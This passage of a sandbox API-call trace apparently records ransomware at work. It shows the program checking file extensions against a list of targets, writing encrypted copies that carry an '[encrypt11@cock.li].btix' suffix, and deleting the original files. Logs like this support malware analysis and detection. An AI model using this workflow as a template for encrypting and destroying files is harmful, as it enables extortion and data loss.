(lpString1=".pdf", lpString2=".WMF") returned -1 [0071.503] lstrlenW (lpString=".xls") returned 4 [0071.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.503] lstrlenW (lpString=".xlsx") returned 5 [0071.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.503] lstrlenW (lpString=".ppt") returned 4 [0071.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0071.503] lstrlenW (lpString=".zip") returned 4 [0071.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.503] lstrlenW (lpString=".rar") returned 4 [0071.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.503] lstrlenW (lpString=".bz2") returned 4 [0071.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.503] lstrlenW (lpString=".7z") returned 3 [0071.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0071.504] lstrlenW (lpString=".dbf") returned 4 [0071.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0071.504] lstrlenW (lpString=".1cd") returned 4 [0071.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0071.504] lstrlenW (lpString=".jpg") returned 4 [0071.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.510] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.510] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0071.512] GetLastError () returned 0x0 [0071.512] ReadFile (hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0) Thread: id = 18 os_tid = 0xe44 [0040.838] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3c81238 [0040.838] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3c91240 [0040.839] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecad0 [0040.839] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71d040 [0040.839] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc08 [0040.839] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x3f40020 [0040.841] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecae8 [0040.841] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecae8, Size=0x20) returned 0x6ce7c8 [0040.841] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc20 [0040.841] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecc20, Size=0x20) returned 0x6ce7f0 [0040.841] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.842] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.842] Wow64DisableWow64FsRedirection (in: OldValue=0x352ff50 | out: OldValue=0x352ff50*=0x0) returned 1 [0040.842] lstrlenW (lpString="kernel32.dll") returned 12 [0040.842] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.842] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.842] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.842] Sleep (dwMilliseconds=0x64) [0041.201] lstrcmpiW (lpString1=".ini", lpString2=".btix") returned 1 [0041.201] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0041.201] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0042.038] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=156) returned 1 [0042.038] CloseHandle (hObject=0x330) returned 1 [0042.038] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0042.038] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.038] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0042.038] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.038] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.038] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0042.038] GetLastError () returned 0x0 [0042.038] ReadFile (in: hFile=0x330, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x9c, lpOverlapped=0x0) returned 1 [0042.048] WriteFile (in: hFile=0x334, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xa0, lpOverlapped=0x0) returned 1 [0042.049] ReadFile (in: hFile=0x330, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.049] WriteFile (in: hFile=0x334, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x100, lpOverlapped=0x0) returned 1 [0042.049] SetEndOfFile (hFile=0x334) returned 1 [0042.049] CloseHandle (hObject=0x334) returned 1 [0042.050] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.050] SetEndOfFile (hFile=0x330) returned 1 [0042.051] CloseHandle (hObject=0x330) returned 1 [0042.051] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0042.051] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0042.051] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.051] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.051] lstrlenW (lpString=".doc") returned 4 [0042.051] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0042.051] lstrlenW (lpString=".docx") returned 5 [0042.051] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0042.051] lstrlenW (lpString=".pdf") returned 4 [0042.051] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0042.051] lstrlenW (lpString=".xls") returned 4 [0042.051] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0042.051] lstrlenW (lpString=".xlsx") returned 5 [0042.051] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0042.052] lstrlenW (lpString=".ppt") returned 4 [0042.052] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.052] lstrlenW (lpString=".zip") returned 4 [0042.052] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString=".rar") returned 4 [0042.052] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString=".bz2") returned 4 [0042.052] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0042.052] lstrlenW (lpString=".7z") returned 3 [0042.052] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.052] lstrlenW (lpString=".dbf") returned 4 [0042.052] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.052] lstrlenW (lpString=".1cd") returned 4 [0042.052] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.052] lstrlenW (lpString=".jpg") returned 4 [0042.052] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.052] lstrlenW (lpString=".doc") returned 4 [0042.052] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0042.052] lstrlenW (lpString=".docx") returned 5 [0042.052] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0042.052] lstrlenW (lpString=".pdf") returned 4 [0042.052] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString=".xls") returned 4 [0042.052] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString=".xlsx") returned 5 [0042.052] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0042.052] lstrlenW (lpString=".ppt") returned 4 [0042.052] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0042.052] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.053] lstrlenW (lpString=".zip") returned 4 [0042.053] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0042.053] lstrlenW (lpString=".rar") returned 4 [0042.053] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0042.053] lstrlenW (lpString=".bz2") returned 4 [0042.053] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0042.053] lstrlenW (lpString=".7z") returned 3 [0042.053] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0042.053] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.053] lstrlenW (lpString=".dbf") returned 4 [0042.053] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0042.053] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.053] lstrlenW (lpString=".1cd") returned 4 [0042.053] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0042.053] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0042.053] lstrlenW (lpString=".jpg") returned 4 [0042.053] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0042.053] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0042.053] lstrlenW (lpString="LocalizedData.xml") returned 17 [0042.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0042.175] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=82346) returned 1 [0042.175] CloseHandle (hObject=0x354) returned 1 [0042.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0042.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0042.175] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.175] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0042.176] GetLastError () returned 0x0 [0042.176] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0042.257] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0042.263] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.263] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0042.263] SetEndOfFile (hFile=0x358) returned 1 [0042.264] CloseHandle (hObject=0x358) returned 1 [0042.266] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.266] SetEndOfFile (hFile=0x354) returned 1 [0042.267] CloseHandle (hObject=0x354) returned 1 [0042.268] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.268] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0042.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.268] lstrlenW (lpString=".doc") returned 4 [0042.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.268] lstrlenW (lpString=".docx") returned 5 [0042.268] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.268] lstrlenW (lpString=".pdf") returned 4 [0042.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.268] lstrlenW (lpString=".xls") returned 4 [0042.269] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString=".xlsx") returned 5 [0042.269] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.269] lstrlenW (lpString=".ppt") returned 4 [0042.269] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.269] lstrlenW (lpString=".zip") returned 4 [0042.269] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.269] lstrlenW (lpString=".rar") returned 4 [0042.269] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString=".bz2") returned 4 [0042.269] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString=".7z") returned 3 [0042.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.269] lstrlenW (lpString=".dbf") returned 4 [0042.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.269] lstrlenW (lpString=".1cd") returned 4 [0042.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.269] lstrlenW (lpString=".jpg") returned 4 [0042.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.270] lstrlenW (lpString=".doc") returned 4 [0042.270] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString=".docx") returned 5 [0042.270] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.270] lstrlenW (lpString=".pdf") returned 4 [0042.270] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString=".xls") returned 4 [0042.270] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString=".xlsx") returned 5 [0042.270] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.270] lstrlenW (lpString=".ppt") returned 4 [0042.270] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.270] lstrlenW (lpString=".zip") returned 4 [0042.270] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.270] lstrlenW (lpString=".rar") returned 4 [0042.270] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString=".bz2") returned 4 [0042.270] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString=".7z") returned 3 [0042.270] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.270] lstrlenW (lpString=".dbf") returned 4 [0042.270] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.270] lstrlenW (lpString=".1cd") returned 4 [0042.270] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0042.271] lstrlenW (lpString=".jpg") returned 4 [0042.271] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.271] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0042.271] lstrlenW (lpString="LocalizedData.xml") returned 17 [0042.271] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0042.271] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=86284) returned 1 [0042.271] CloseHandle (hObject=0x354) returned 1 [0042.271] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0042.271] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0042.272] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.272] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0042.272] GetLastError () returned 0x0 [0042.272] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1510c, lpOverlapped=0x0) returned 1 [0042.422] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x15110, lpOverlapped=0x0) returned 1 [0042.423] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.423] WriteFile (in: hFile=0x358, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0042.423] SetEndOfFile (hFile=0x358) returned 1 [0042.424] CloseHandle (hObject=0x358) returned 1 [0042.426] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.426] SetEndOfFile (hFile=0x354) returned 1 [0042.427] CloseHandle (hObject=0x354) returned 1 [0042.427] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.427] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0042.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.427] lstrlenW (lpString=".doc") returned 4 [0042.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.427] lstrlenW (lpString=".docx") returned 5 [0042.428] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.428] lstrlenW (lpString=".pdf") returned 4 [0042.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString=".xls") returned 4 [0042.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString=".xlsx") returned 5 [0042.428] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.428] lstrlenW (lpString=".ppt") returned 4 [0042.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.428] lstrlenW (lpString=".zip") returned 4 [0042.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.428] lstrlenW (lpString=".rar") returned 4 [0042.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString=".bz2") returned 4 [0042.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString=".7z") returned 3 [0042.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.428] lstrlenW (lpString=".dbf") returned 4 [0042.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.428] lstrlenW (lpString=".1cd") returned 4 [0042.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.428] lstrlenW (lpString=".jpg") returned 4 [0042.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.428] lstrlenW (lpString=".doc") returned 4 [0042.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.428] lstrlenW 